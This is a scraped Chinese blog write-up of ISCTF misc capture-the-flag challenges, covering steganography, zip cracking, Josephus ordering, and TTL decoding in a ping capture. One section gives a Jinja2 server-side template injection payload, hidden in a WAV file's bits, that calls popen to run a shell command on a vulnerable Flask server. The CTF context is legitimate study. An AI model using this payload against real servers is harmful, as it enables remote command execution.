当前位置: 首页 > news >正文

ISCTF复现-misc

File_Format

下载附件后用010打开查看文件头会发现是个exe文件

格式:文件描述(后缀名),文件头(hex):文件头标识(十六进制)PNG (png),文件头(hex):89504E47
PNGImageFile (png), 文件头(hex):89504E470D0A
JPEG (jpg), 文件头(hex):FFD8FF
GIF (gif),文件头(hex):47494638
TIFF (tif),文件头(hex):49492A00
GzipArchiveFile (gz;tar;tgz), 文件头(hex):1F8B
AdobeAcrobat (pdf), 文件头(hex):255044462D312E
EXE(EXE), 文件头(hex):4D5A90
Windows Bitmap (bmp),文件头(hex):424D
CAD (dwg),文件头(hex):41433130
Adobe Photoshop (psd),文件头(hex):38425053
Rich Text Format (rtf),文件头(hex):7B5C727466
XML (xml),文件头(hex):3C3F786D6C
HTML (html),文件头(hex):68746D6C3E
Email [thorough only] (eml),文件头(hex):44656C69766572792D646174653A
Outlook Express (dbx),文件头(hex):CFAD12FEC5FD746F
Outlook (pst),文件头(hex):2142444E
MS Word/Excel (xls.or.doc),文件头(hex):D0CF11E0
MS Access (mdb),文件头(hex):5374616E64617264204A
WordPerfect (wpd),文件头(hex):FF575043
Postscript (eps.or.ps),文件头(hex):252150532D41646F6265
Adobe Acrobat (pdf),文件头(hex):255044462D312E
Quicken (qdf),文件头(hex):AC9EBD8F
Windows Password (pwl),文件头(hex):E3828596
ZIP Archive (zip),文件头(hex):504B0304
RAR Archive (rar),文件头(hex):52617221
Wave (wav),文件头(hex):57415645
AVI (avi),文件头(hex):41564920
Real Audio (ram),文件头(hex):2E7261FD
Real Media (rm),文件头(hex):2E524D46
MPEG (mpg),文件头(hex):000001BA
MPEG (mpg),文件头(hex):000001B3
Quicktime (mov),文件头(hex):6D6F6F76
Windows Media (asf),文件头(hex):3026B2758E66CF11
MIDI (mid),文件头(hex):4D546864

修改后缀名后得到

打开时会发现需要密码

在文件尾会发现有压缩包的痕迹,应该是需要压缩包爆破,因为没给别的东西了

将后缀更改为zip,然后进行爆破,在六位数爆破后得到密码241023

最后再次更改为exe,提取后得到flag

starry sky

解压后有三个附件,打开flag.txt会发现有串base64

居然解不出来,看到附件有xor,想到异或,应该是被处理过,码表有问题,但主题肯定是base64,尝试去处理那个png

打开后会发现是个base64转图片,转图片转不出来

解一下,会在末尾发现异或的key是FF,接下来用010进行异或操作

选择十六进制运算下的二进制异或

处理后发现是个wav文件,修改后缀后也听不出来是什么,去看了别人的wp知道要用到RX-sstv进行解密,但是在下载使用这个软件之前,要下载一个虚拟声卡,并且进行设置

SSTV音频转图片_rx-sstv-CSDN博客

这里附上具体操作链接

补充:

虚拟声卡e2eSoft

由于SSTV工具是根据音频传递图片信息,正常解法需要一台设备播放一台设备收音,所以需要一个虚拟声卡,还能避免杂音的干扰。

解密后得到密钥

DES解密得到flag

watermark

解压后得到三个附件

压缩包需要密码,那么肯定来自下面两个附件

可以看到key1是个文字水印

key2是张图片,根据题目来看应该是盲水印

用盲水印工具提取可以得到key2是64oRvUfta9yJsBv

用文本水印工具文本隐水印可以得到key1是FAAqDPjpgKJiB6m

合起来就是FAAqDPjpgKJiB6m64oRvUfta9yJsBv

解压后得到flag.txt

ctrl+f得到flag

像素圣战

打开得到一张倒置的图片,发现名字翻译成英文就想到pixeljihadPixelJihad,看描述里面有一个ISCTF,这个就是密码

得到一串二进制,要是图片是倒置的,那么二进制肯定也是,先用脚本翻转一下

def reverse_string(input_str):return input_str[::-1]# 示例使用
original_string = "10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001"
reversed_string = reverse_string(original_string)print("Original String:", original_string)
print("Reversed String:", reversed_string)

得到翻转后的二进制为

10010011010011100001110101001000110111101110100100110011111011011001011110010111001111001010110110101111111000100110001110111001101001110010111100110111111101100011000011011001111101

总共有182个字符,二进制一般是8的倍数,这里是7的倍数,所以在每七位前面补0,或者,直接用厨师设置就可以了

得到flag

奇怪的txt

解压以后发现是很多的txt文件,文件大小一致,而且内容也都是由base64加密以后的结果,这里猜测,可能是flag的值就在某一个文件的base64加密的数据里面,但是太多了,一个一个看不现实,考虑到可以用脚本,然后就会发现什么都没得到,拉了坨大的,后面通过题目提示和资料查找再结合别人的wp,发现会用到约瑟夫算法

def josephus_problem(n, k):# 创建一个列表来表示玩偶,编号从1到ndolls = list(range(1, n + 1))# 初始化当前索引为0(表示第一个玩偶)index = 0# 创建一个结果列表来存储移除玩偶的顺序result = []while dolls:# 计算下一个要移除的玩偶的索引index = (index + k - 1) % len(dolls)# 将该玩偶添加到结果列表中result.append(dolls.pop(index))return result# 示例使用
n = int(input("请输入玩偶的总数: "))
k = 7  # 固定的数到7
order = josephus_problem(n, k)
print("玩偶被移除的顺序是:", order)

运行后得到正确序列

7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73

然后依照这个顺序将txt文件中的字符合并

import os# 设置文件夹路径和输出文件路径
folder_path = "奇怪的txt"
output_file_path = "output_file.txt"# 给定字典,包含文件名和对应的数字顺序
file_order = {"7.txt": 1,"14.txt": 2,"21.txt": 3,"28.txt": 4,"35.txt": 5,"42.txt": 6,"49.txt": 7,"56.txt": 8,"63.txt": 9,"70.txt": 10,"77.txt": 11,"84.txt": 12,"91.txt": 13,"98.txt": 14,"105.txt": 15,"112.txt": 16,"119.txt": 17,"126.txt": 18,"133.txt": 19,"3.txt": 20,"11.txt": 21,"19.txt": 22,"27.txt": 23,"36.txt": 24,"44.txt": 25,"52.txt": 26,"60.txt": 27,"68.txt": 28,"76.txt": 29,"85.txt": 30,"93.txt": 31,"101.txt": 32,"109.txt": 33,"117.txt": 34,"125.txt": 35,"134.txt": 36,"5.txt": 37,"15.txt": 38,"24.txt": 39,"33.txt": 40,"43.txt": 41,"53.txt": 42,"62.txt": 43,"72.txt": 44,"81.txt": 45,"90.txt": 46,"100.txt": 47,"110.txt": 48,"120.txt": 49,"129.txt": 50,"1.txt": 51,"12.txt": 52,"23.txt": 53,"34.txt": 54,"46.txt": 55,"57.txt": 56,"67.txt": 57,"79.txt": 58,"89.txt": 59,"102.txt": 60,"113.txt": 61,"123.txt": 62,"135.txt": 63,"9.txt": 64,"22.txt": 65,"37.txt": 66,"48.txt": 67,"61.txt": 68,"74.txt": 69,"87.txt": 70,"99.txt": 71,"114.txt": 72,"127.txt": 73,"2.txt": 74,"17.txt": 75,"31.txt": 76,"47.txt": 77,"64.txt": 78,"78.txt": 79,"94.txt": 80,"107.txt": 81,"122.txt": 82,"137.txt": 83,"18.txt": 84,"38.txt": 85,"54.txt": 86,"71.txt": 87,"88.txt": 88,"106.txt": 89,"124.txt": 90,"6.txt": 91,"26.txt": 92,"45.txt": 93,"66.txt": 94,"86.txt": 95,"108.txt": 96,"130.txt": 97,"13.txt": 98,"39.txt": 99,"59.txt": 100,"83.txt": 101,"111.txt": 102,"132.txt": 103,"25.txt": 104,"51.txt": 105,"80.txt": 106,"104.txt": 107,"136.txt": 108,"30.txt": 109,"65.txt": 110,"96.txt": 111,"128.txt": 112,"29.txt": 113,"69.txt": 114,"103.txt": 115,"8.txt": 116,"50.txt": 117,"95.txt": 118,"4.txt": 119,"55.txt": 120,"115.txt": 121,"20.txt": 122,"82.txt": 123,"10.txt": 124,"75.txt": 125,"16.txt": 126,"97.txt": 127,"41.txt": 128,"131.txt": 129,"118.txt": 130,"116.txt": 131,"121.txt": 132,"40.txt": 133,"92.txt": 134,"32.txt": 135,"58.txt": 136,"73.txt": 137,
}# 对字典进行排序,根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])# 打开输出文件,准备写入
with open(output_file_path, "w") as output_file:# 遍历排序后的字典for file_name, _ in sorted_files:# 构建完整的文件路径file_path = os.path.join(folder_path, file_name)# 确保是 txt 文件if file_path.endswith(".txt"):# 打开文件并读取内容with open(file_path, "r") as file:content = file.read()# 将内容写入输出文件output_file.write(content)# 输出文件已创建,内容已合并

然后会得到一个字符集,查看是base64,文件有点大,kimi写个脚本解码即可得到flag

import base64# 读取output_file.txt的内容,并将其编码为字节串
with open('output_file.txt', 'r', encoding='UTF-8') as f:Sstr = "".join(f.readlines()).encode('utf-8')src = Sstr
decoded_str = None  # 用于存储最后一次成功解码的字符串while True:try:# 尝试解码src = base64.b64decode(src)# 如果解码成功,尝试将其解码为UTF-8字符串(这里可能抛出异常,如果解码后的数据不是有效的UTF-8)decoded_str = src.decode('utf-8')except (base64.binascii.Error, UnicodeDecodeError):# 如果捕获到base64解码错误或UTF-8解码错误,则退出循环break# 如果没有异常,则继续下一次迭代(但在这个例子中,由于我们解码后立即检查,所以实际上不需要continue)# 如果decoded_str不为None,则写入result.txt;否则,可能表示无法解码任何内容
if decoded_str is not None:with open('result.txt', 'w', encoding='utf-8') as file:file.write(decoded_str)print('ok')
else:print('Failed to decode any content.')

少女的秘密花园

解压后得到一张图片,用foremost分离文件

打开会得到一个zip

解压后得到的文件再次分离

得到一个压缩包,但是需要密码,爆破一下看看

得到密码

解压后的flag.txt中发现需要base64转图片

得到一张不全的盲文表,修改高后如图所示,对照盲文表得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2

解码得到flag

数字迷雾:在像素中寻找线索

照例丢进随波逐流,没想到一下就跑出来了,看了发现应该是lsb隐写

来自天外的信息

游园地1

直接百度识图就可以了

游园地2

这个通过识图就出不来了,后面是根据店铺山崎居酒屋找到的位置,问了朋友是圣地巡礼

【圣地巡礼攻略】江城——《高恋》《三恋》武汉篇 - 哔哩哔哩

 神秘ping

解压后得到一个ping文件,发现有流量包信息,被倒置了

def reverse_file_bytes(input_file, output_file):try:with open(input_file, 'rb') as f:   #以二进制读取模式打开输入文件file_bytes = f.read()           #读取文件的全部内容到 file_bytes 变量中reversed_bytes = file_bytes[::-1]    #这是一个 Python 切片技巧,用于反转字节序列with open(output_file, 'wb') as f:    #以二进制写入模式打开输出文件f.write(reversed_bytes)          #将反转后的字节写入输出文件except Exception as e:print(f"An error occurred: {e}")# 调用函数,输入文件为当前目录下的 'ping',输出文件为当前目录下的 'reversed_ping'
reverse_file_bytes('ping', 'reversed_ping')

用脚本恢复后拿wireshark打开

发现其中的ttl值分别有63、64、127、191、255组成,ttl为64的值是是返回的信息,⽤tshark提取ttl的值,会得到一个ttl的数据集合

tshark -r ping.pcap -Y "icmp" -T fields -e ip.ttl > ttl.txt

ttl_to_binary = {63: '00',127: '01',191: '10',255: '11'
}ttl_values = [127, 63, 127, 63, 127, 63, 63, 127, 127, 127, 63, 255, 127, 63, 63, 255, 127, 127, 127, 63,127, 63, 127, 191, 127, 255, 191, 255, 63, 255, 127, 191, 63, 255, 63, 191, 63, 255, 127, 255,63, 255, 191, 63, 63, 255, 127, 63, 63, 255, 191, 63, 127, 191, 63, 255, 63, 255, 63, 63, 63,191, 255, 127, 63, 255, 127, 255, 63, 255, 127, 127, 63, 255, 191, 127, 127, 191, 63, 255, 63,191, 255, 127, 63, 255, 63, 127, 63, 255, 63, 127, 127, 191, 127, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 191, 127, 63, 255, 191, 127, 63, 255, 191, 127, 127, 191, 127, 191, 63,191, 255, 127, 63, 255, 63, 63, 63, 255, 63, 63, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63,191, 63, 255, 191, 127, 63, 255, 63, 63, 127, 191, 63, 255, 63, 255, 63, 127, 63, 255, 191, 127,63, 255, 127, 191, 127, 191, 127, 127, 127, 127, 255, 255, 127
]  # 示例 TTL 列表def ttl_to_binary_string(ttl_values):binary_string = ''for ttl in ttl_values:if ttl in ttl_to_binary:binary_string += ttl_to_binary[ttl]return binary_stringdef binary_to_string(binary_string):chars = []for i in range(0, len(binary_string), 8):byte = binary_string[i:i+8]chars.append(chr(int(byte, 2)))return ''.join(chars)binary_data = ttl_to_binary_string(ttl_values)
print(f"bin: {binary_data}")decoded_message = binary_to_string(binary_data)
print(f"msg: {decoded_message}")

神秘的wav

打开环境是一个文件上传的页面,但是这是misc,肯定不会是文件上传,题目给了一个附件,可以尝试上传看看

给了一个base64编码

解码后是/source

访问得到一个脚本,脚本的ext函数定义了网页是如何解析wav文件,并作为输出此代码的核验标准

from flask import Flask, request, render_template, send_file, render_template_string
import wave
import osapp = Flask(__name__)UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)def ext(inp):         //它打开WAV文件,读取所有帧,然后将帧转换为字节数组。接着,它提取每个字节的第二位(最低位),因为信息被隐藏在这里。然后,它将这些位重新组合成字符,直到遇到一个空字符('\x00'),这通常用作消息的结束标志.'''希望你能自己搓出脚本'''with wave.open(inp, 'rb') as wav:frames = wav.readframes(wav.getnframes())frames_array = bytearray(frames)message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]message = ''for i in range(0, len(message_bits), 8):byte = message_bits[i:i+8]char = chr(int(''.join(byte), 2))if char == '\x00':breakmessage += charreturn message@app.route('/', methods=['GET', 'POST'])
def upload_file():'''一位misc手在各个方向都要有所了解'''if request.method == 'POST':file = request.files['file']if file and file.filename.endswith('.wav'):filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)file.save(filepath)message = ext(filepath)return render_template_string(message)else:return render_template_string("pls upload wav")      //此处用render_template_string 打印回显。return render_template('upload.html')@app.route('/source', methods=['GET'])
def get_source():return send_file('app.py')if __name__ == '__main__':app.run(debug=True)

render_template_string 打印回显的内容,存在ssti漏洞,而且在这段代中并没有任何的过滤,我们可以将我们要利用的ssti用我们的到的wav解密脚本写一个加密脚本,加密我们的ssti的payload,再回到上传页面,将加密的wav上传

import wavedef hide_msg(inp, out, msg):with wave.open(inp, 'rb') as wav:params = wav.getparams()frames = wav.readframes(wav.getnframes())msg_bin = ''.join(format(ord(char), '08b') for char in msg)msg_bin += '00000000'frames_array = bytearray(frames)for i in range(len(msg_bin)):frames_array[i] = (frames_array[i] & 253) | (int(msg_bin[i]) << 1)with wave.open(out, 'wb') as out_wav:  # 确保这里的变量名与打开文件的变量名一致out_wav.setparams(params)out_wav.writeframes(frames_array)# 调用函数,传入输入文件路径、输出文件路径和要隐藏的消息
hide_msg("inp.wav", "out.wav", "{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ == '_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /f*').read()%}{%endif%}{%endfor%}")

得到flag

秘密

打开后发现压缩包需要解密,联系题目描述可以知道要用到oursecret,但是需要密码才行

打开010查看一下找到了密码同时发现这个压缩包是伪加密

修改加密位后得到这张图片

得到一个txt文件

打开后看到文字里肯定有什么东西,尝试文本隐写

乱码了,搜素发现应该是零宽字符解密

得到flag

老八奇怪自拍照

附件打开后得到一张图片

根据题目描述lsb,可以看到开头是zip文件

解压后得到另外一张图

010打开会看到有个1ScTf2024!根本不知道可以用来干什么,还是去看了别人的wp,发现是steghide,反正这个脑洞我是一点都有不起啊

得到flag

赢!rar

打开附件后发现压缩包需要密码,010查看不是伪加密,直接上爆破

发现不行

在010中找到密码

打开后会发现txt文件

仔细查看会发现123的修改时间与别的不一样

打开发现有一串编码

没想法了,去看了wp,发现应该是有个文件在解压过程,相关的文件因为某种原因被处理为了冗余文件,被清理了,或者说解压以后就在原文件夹里面把那个文件删除了,尝试用7z解压看看

可以发现有这个文件

xxencode解密得到flag

相关文章:

ISCTF复现-misc

File_Format 下载附件后用010打开查看文件头会发现是个exe文件 格式&#xff1a;文件描述&#xff08;后缀名&#xff09;&#xff0c;文件头(hex)&#xff1a;文件头标识&#xff08;十六进制&#xff09;PNG (png)&#xff0c;文件头(hex)&#xff1a;89504E47 PNGImageFile…...

知道一个服务器IP地址如果attack服务器地址

CSDN提醒&#xff1a;亲爱的用户&#xff1a;你好&#xff01; 你的账号于2024-12-17 19:04:04在美国美国登录&#xff0c;登录IP为&#xff1a;47.238.159.124。若非本人登录&#xff0c;请及时修改密码。 莫名其妙显示美国登录了我的CSDN博客 卧槽 服务器的IP地址是一个用于…...

【泛微系统】查询角色所在流程操作组

查询角色所在流程操作组 -----sqlserver-------SELECT CASE WHEN a.workflowname LIKE ~`~`% THEN SUBSTRING(a.workflowname, CHARINDEX(`~`7, a.workflowname...

ceph的RGW对象存储网关部署和使用

RGW对象存储网关部署和使用 Rados GateWay简称rgw&#xff0c;底层采用亚马逊的S3作为对象存储实现。 参考链接&#xff1a; https://docs.ceph.com/en/reef/radosgw/ https://docs.ceph.com/en/reef/radosgw/bucketpolicy/ https://docs.aws.amazon.com/zh_cn/AmazonS3/lat…...

智慧公交指挥中枢,数据可视化 BI 驾驶舱

随着智慧城市的蓬勃发展&#xff0c;公共交通作为城市运营的核心枢纽&#xff0c;正朝着智能化和数据驱动的方向演进。通过整合 CAN 总线技术(Controller Area Network&#xff0c;控制器局域网总线)、车载智能终端、大数据分析及处理等尖端技术&#xff0c;构建的公交“大脑”…...

fastjson 字符串转对象 boolean类型字段转换失败

fastjson 字符串转对象 boolean类型字段转换失败 问题出现场景问题出现的原因问题解决方式1方式2 问题出现场景 有一个json字符串&#xff0c;需要将这个字符串转换为对象&#xff0c;字符串中有个字段是布尔类型&#xff0c;对应的value是true&#xff0c;使用阿里的fastjson…...

浏览器事件循环机制

JavaScript 是单线程运行的语言&#xff0c;同一时间只能执行一个任务。单线程意味着&#xff1a; 如果某个任务执行时间过长&#xff0c;后续任务会被阻塞。 同步任务和异步任务的调度需要一种机制来管理。 为了解决这个问题&#xff0c;事件循环应运而生&#xff0c;它可以…...

Redis缓存穿透与缓存击穿

Redis缓存穿透与缓存击穿 缓存穿透 在默认情况下&#xff0c;用户请求数据时&#xff0c;会先在缓存(Redis)中查找&#xff0c;若没找到即缓存未命中&#xff0c;再在数据库中进行查找&#xff0c;数量少可能问题不大&#xff0c;可是一旦大量的请求数据&#xff08;例如秒杀…...

WEB自动化测试(selenium工具)框架、面试题

一、什么是web自动化测试 让程序员代替人为去验证web项目功能的过程 二、什么web项目适合自动化测试 1)需求变动不频繁 测试脚本的稳定性决定了自动化测试的维护成本。如果软件需求变动过于频繁&#xff0c;测试人员需要根据变动的需求来更新测试用例以及相关的测试脚本&…...

Spring Boot 3.X:Unable to connect to Redis错误记录

一.背景 最近在搭建一个新项目&#xff0c;本着有新用新的原则&#xff0c;项目选择到了jdk17SpringBoot3.4。但是在测试Redis连接的时候却遇到了以下问题&#xff1a; redis连不上了。于是我先去检查了配置文件的连接信息&#xff0c;发现没问题&#xff1b;再去检查配置类&am…...

ISP算法之黑电平BLC校正

黑电平形成原因 Sensor本身问题 CMOS Sensor本身的电路会存在暗电流(dark current)&#xff0c;在没有光照条件下&#xff0c;感光器件等也会存在流动的电流&#xff0c;在光敏二极管器的伏安特性曲线中反向截止区电流并不为零&#xff08;如下图&#xff09;。导致在Sensor遮…...

《拉依达的嵌入式\驱动面试宝典》—C/CPP基础篇(四)

《拉依达的嵌入式\驱动面试宝典》—C/CPP基础篇(四) 你好,我是拉依达。 感谢所有阅读关注我的同学支持,目前博客累计阅读 27w,关注1.5w人。其中博客《最全Linux驱动开发全流程详细解析(持续更新)-CSDN博客》已经是 Linux驱动 相关内容搜索的推荐首位,感谢大家支持。 《拉…...

【Python】利用函数模拟创建【栈】的数据结构操作

知识解读&#xff1a;来自&#xff1a;https://fishc.com.cn[#FwSB,M 9xKOA!^6fP)_EC(nsd什么是栈呢&#xff1f;Powered by https://fishc.com.cn3>A?5JXL#_}YBGD"FWdubKeyhQP栈是一种具有 FILO 特性的数据结构&#xff0c;即先放入的数据反而后取出。e&"%b…...

10 JVM内置锁

我们先想明白一个问题&#xff0c;什么是锁&#xff1f; 我们去给自己家锁门的时候&#xff0c;只有对应的一把钥匙能开锁。当用钥匙去开锁的时候&#xff0c;锁孔的内置型号会验证钥匙能不能对的上。能对上就能把锁打开&#xff0c;然后进到家里使用家里的资源。否则就在外面等…...

前端项目部署方法

ngnix服务器部署 下载nignx&#xff0c;我下的是windows版本的 下载链接&#xff1a;[https://nginx.org/en/download.html](https://nginx.org/en/download.html) 解压文件 如果原本的80端口号被占用了&#xff0c;可以改为其他的端口号 可以点击nginx.exe文件启动nginx,它可能…...

【1.排序】

排序 笔记记录 1.排序的基本概念1.1 排序的定义 2. 插入排序2.1 直接插入排序2.2 折半插入排序2.3 希尔排序 3. 交换排序3.1 冒泡排序3.2 快速排序 4. 选择排序4.1 简单选择排序4.2 堆排序 5. 归并排序、基数排序和计数排序5.1 归并排序4.2 基数排序4.3 计数排序 6. 各种内部排…...

visual studio添加滚动条预览

如何在vs中添加如图的滚动条呢&#xff1f; 打开VS 工具栏 选项 - 文本编辑器 - C/C - 滚动条 行为-使用缩略图 -- 确定...

[SAP ABAP] ALV状态栏GUI STATUS的快速创建

使用事务码SE38进入到指定程序&#xff0c;点击"显示对象列表"按钮 鼠标右键&#xff0c;选择"GUI状态" 弹出【创建状态】窗口&#xff0c;填写状态以及短文本描述以后&#xff0c;点击按钮 点击"调整模板"&#xff0c;复制已有程序的状态栏 填…...

鸿蒙元服务项目实战:备忘录UI页面开发

前言 之前写过一篇关于元服务项目的上架流程&#xff0c;为了更好的了解及开发元服务&#xff0c;准备从0到1简单开发一个小项目&#xff0c;也希望能够帮助到刚刚介入到鸿蒙开发的同学&#xff0c;具体项目呢&#xff0c;也是十分的简单&#xff0c;就是一个小巧的备忘录项目&…...

【Java基础面试题022】什么是Java内部类?有什么作用?

回答重点 Java内部类是指&#xff1a;在一个类的内部定义的类&#xff0c;Java支持多种类型的内部类&#xff0c;包括成员内部类、局部内部类、匿名内部类和静态内部类。实际上内部类是一个编译层面的概念&#xff0c;像一个语法糖一样&#xff0c;经过编译器之后其实内部类会…...

量子芯片在新医疗领域的应用研究展望

一、引言 &#xff08;一&#xff09;研究背景 随着科技的不断发展&#xff0c;量子芯片在新医疗领域有望在多个技术方面实现创新突破&#xff0c;进而持续拓展其应用范围与深度。 在提高纠错能力方面&#xff0c;当前量子比特的易错性是制约量子芯片广泛应用的关键因素之一…...

不可重入锁与死锁

不可重入锁确实可能导致死锁&#xff0c;特别是在同一线程尝试多次获取同一把锁时。如果锁是不可重入的&#xff0c;那么线程在第二次尝试获取锁时会永远阻塞&#xff0c;从而导致死锁。 不可重入锁与死锁的关系 不可重入锁不允许同一个线程多次获取同一把锁。在以下情况下&am…...

Linux(Ubuntu)命令大全——已分类整理,学习、查看更加方便直观!(2024年最新编制)

Hello! 认真好学的小伙伴们&#xff0c;大家好呀&#xff08;Respect~&#xff09;&#xff01;我是 H u a z z i Huazzi Huazzi&#xff0c;欢迎观看本篇博客&#xff0c;接下来让我们一起来学习 Ubuntu命令大全 吧&#xff01;祝你有所收获&#xff01; 文章目录 前言&#x…...

画一颗随机数

代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>codePen - Random Tree</title> </head> <body><canvas></canvas><script>const canvas doc…...

机器人变换关系

rigid 刚性变换&#xff08;平移、旋转&#xff09;&#xff1a; 只改变位置和方向&#xff0c;拥有6个自由度&#xff0c;保持变换物体的形状。 affine 仿射变换&#xff08;平移、旋转、缩放、倾斜等&#xff09;&#xff1a; 改变物体形状、位置、方向&#xff0c;拥有12…...

2024年企业中生成式 AI 的现状报告

从试点到生产&#xff0c;企业 AI 格局正在被实时改写。我们对 600 名美国企业 IT 决策者进行了调查&#xff0c;以揭示新兴的赢家和输家。 从试点到生产 2024 年标志着生成性人工智能成为企业关键任务的一年。这些数字讲述了一个戏剧性的故事&#xff1a;今年人工智能支出飙升…...

共创共建!葡萄城 SpreadJS 完成 HarmonyOS NEXT 操作系统兼容认证

最新技术资源&#xff08;建议收藏&#xff09; https://www.grapecity.com.cn/resources/ 近日&#xff0c;华为“企业工作必备应用鸿蒙化论坛”在北京圆满落幕&#xff0c;论坛汇聚了众多行业精英和合作伙伴&#xff0c;聚焦讨论企业数字化转型与原生鸿蒙生态融合等话题。葡萄…...

webAPI clean architecture

文章目录 项目地址一、Restaurants.Domain 核心业务层1.1 Entities实体层1.2 Repositories 数据操作EF的接口二、Restaurants.Infrastructure 基础设施层2.1 Persistence 数据EF CORE配置2.2 Repositories 数据查询实现2.3 Extensions 服务注册三、Restaurants.Application用例…...

JS使用random随机数实现简单的四则算数验证

1.效果图 2.代码实现 index.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</ti…...

在Linux中使用`scp`进行远程目录文件复制

在Linux系统中&#xff0c;scp&#xff08;安全复制协议&#xff09;是一个使用SSH&#xff08;安全外壳协议&#xff09;进行文件和目录安全传输的命令。它允许在远程主机之间复制文件和目录&#xff0c;具有很强的安全性&#xff0c;是一种常用的文件传输工具。以下是如何使用…...

【C++游记】string的使用和模拟实现

枫の个人主页 你不能改变过去&#xff0c;但你可以改变未来 算法/C/数据结构/C Hello&#xff0c;这里是小枫。C语言与数据结构和算法初阶两个板块都更新完毕&#xff0c;我们继续来学习C的内容呀。C是接近底层有比较经典的语言&#xff0c;因此学习起来注定枯燥无味&#xf…...

解决Linux访问HuggingFace的问题(操作记录)

目录 一、软件下载 二、软件使用 1、启动软件 2、设置网络 3、注意事项 三、linux命令行访问 1、问题分析 2、设置命令行代理 一、软件下载 MrQiguan/cfw-linux 二、软件使用 1、启动软件 ./cfw 注&#xff1a;先选择节点&#xff0c;再开启Start with Linux&#…...

《向量数据库指南》——Milvus Cloud 2.5:Sparse-BM25引领全文检索新时代

Milvus Cloud BM25:重塑全文检索的未来 在最新的Milvus Cloud 2.5版本中,我们自豪地引入了“全新”的全文检索能力,这一创新不仅巩固了Milvus Cloud在向量数据库领域的领先地位,更为用户提供了前所未有的灵活性和效率。作为大禹智库的向量数据库高级研究员,以及《向量数据…...

verilog+systemVerilog写代码bug总结

前言 此文用来记录我在写verilog项目时遇到的bug,方便回顾&#xff0c;也供大家参考。 语言&#xff1a;verilog、systemverilog 平台&#xff1a;vivado 2021.01 bug记录和解决 如何让计数从0开始&#xff0c;而不是从1开始&#xff1f; 情景描述&#xff1a;我现在要实现…...

【Java基础面试题014】for循环与增强for的区别是什么?

回答重点 for for是一种传统的循环结构&#xff0c;允许开发者控制循环的初始值&#xff0c;终止条件和步进方式 主要特点&#xff1a; 灵活性&#xff1a;可以控制循环的初始值、终止条件和步进方式使用于数组&#xff1a;可以通过索引访问&#xff0c;使用索引进行反向遍…...

2412d,d的8月会议

原文 总结 替换D的逃逸分析 Rikki说,他一个月前曾与Dennis讨论过简化D的逃逸分析,但没有结果.在BeerConf上,他再次提起了它,Dennis说他一直在考虑它. Rikki也与Walter谈过这件事,Walter曾说过DIP1000并没有完全如期工作,且有点太复杂了. 因此,Rikki想讨论按D逃逸分析方法替…...

如何在Qt中应用html美化控件

在Qt中应用HTML美化控件&#xff0c;主要可以通过以下几种方式&#xff1a; 使用QWebEngineView&#xff1a;QWebEngineView是基于Chromium引擎的控件&#xff0c;用于显示和交互HTML内容。它支持现代Web标准和技术&#xff0c;如HTML5、CSS3和JavaScript。你可以通过以下步骤…...

vue3实现商城系统详情页(前端实现)

目录 写在前面 预览 实现 图片部分 详情部分 代码 源码地址 总结 写在前面 笔者不是上一个月毕业了么&#xff1f;找工作没找到&#xff0c;准备在家躺平两个月。正好整理一下当时的毕业设计&#xff0c;是一个商城系统。还是写篇文章记录下吧 预览 商品图片切换显示…...

[Pro Git#4] 标签 | 理解 | 创建 | push

目录 一、理解标签 二、创建标签 三、操作标签 一、理解标签 标签定义&#xff1a;在Git中&#xff0c;标签&#xff08;tag&#xff09;是对某次提交&#xff08;commit&#xff09;的一个标识&#xff0c;相当于起了一个别名。应用场景示例&#xff1a; 在项目发布某个版…...

在M系列芯片的Mac上使用Uniapp开发的依赖安装指南

在M系列芯片的Mac上使用Uniapp开发的依赖安装指南 在基于M系列芯片&#xff08;例如M3、M4&#xff09;的Mac上进行Uniapp开发时&#xff0c;使用esbuild和rollup等依赖包时需要注意处理不同架构的支持。具体问题出现在darwin-arm64&#xff08;ARM架构&#xff09;和darwin-x…...

delve调试环境搭建—golang

原文地址&#xff1a;delve调试环境搭建—golang – 无敌牛 欢迎参观我的个人博客&#xff1a;无敌牛 – 技术/著作/典籍/分享等 由于平时不用 IDE 开发环境&#xff0c;习惯在 linux终端vim 环境下开发&#xff0c;所以找了golang的调试工具&#xff0c;delve类似gdb的调试界…...

暂停一下,给Next.js项目配置一下ESLint(Next+tailwind项目)

前提 之前开自己的GitHub项目&#xff0c;想着不是团队项目&#xff0c;偷懒没有配置eslint&#xff0c;后面发现还是不行。eslint的存在可以帮助我们规范代码格式&#xff0c;同时 ctrl s保存立即调整代码格式是真的很爽。 除此之外&#xff0c;团队使用eslint也是好处颇多…...

vscode 使用说明

文章目录 1、文档2、技巧显示与搜索宏定义和包含头文件 3、插件4、智能编写5、VSCode 与 C&#xff08;1&#xff09;安装&#xff08;2&#xff09;调试&#xff08;a&#xff09;使用 CMake 进行跨平台编译与调试&#xff08;b&#xff09;launch.json&#xff08;c&#xff…...
